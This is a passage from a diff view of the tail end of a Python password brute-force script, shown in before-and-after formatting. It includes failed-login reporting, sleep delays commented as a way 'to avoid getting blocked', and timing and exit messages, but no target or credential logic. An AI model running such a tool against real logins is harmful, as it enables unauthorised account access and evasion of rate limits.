print_login_failed(password, verbose, "", "", login_response.status_code)
|
|
|
|
|
|
|
|
|
|
|
|
# Adding a random delay to avoid getting blocked
|
|
|
|
# Add random delay to avoid blocking
|
|
|
|
time.sleep(timeout)
|
|
|
|
time.sleep(timeout)
|
|
|
|
|
|
|
|
|
|
|
|
# print end time for calculating total time taken
|
|
|
|
# Print end time to calculate total time taken
|
|
|
|
end_time = datetime.datetime.now()
|
|
|
|
end_time = datetime.datetime.now()
|
|
|
|
if verbose: printit(f'\n\n[+] Ended @ {end_time.strftime("%I:%M:%S %p")}', coledt=[1, 49, 93])
|
|
|
|
if verbose:
|
|
|
|
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f'\n\n[+] Ended @ {end_time.strftime("%I:%M:%S %p")}', coledt=[1, 49, 93]
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
# Calculating the total time taken
|
|
|
|
# Calculate total time taken
|
|
|
|
printit(f'\n[+] Brute force completed in: {end_time - start_time} (H:M:S)', coledt=[1, 49, 91], line_down=True)
|
|
|
|
printit(
|
|
|
|
|
|
|
|
f"\n[+] Brute force completed in: {end_time - start_time} (H:M:S)",
|
|
|
|
|
|
|
|
coledt=[1, 49, 91],
|
|
|
|
|
|
|
|
line_down=True,
|
|
|
|
|
|
|
|
)
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
if __name__ == "__main__":
|
|
|
|
try:
|
|
|
|
try:
|
|
|
|
main()
|
|
|
|
main()
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
except KeyboardInterrupt:
|
|
|
|
printit('\n\n[:)] Exiting the program...', coledt=[1, 49, 92], line_down=True)
|
|
|
|
printit("\n\n[:)] Exiting the program...", coledt=[1, 49, 92], line_down=True)
|
|
|
|
sys.exit()
|
|
|
|
sys.exit()
|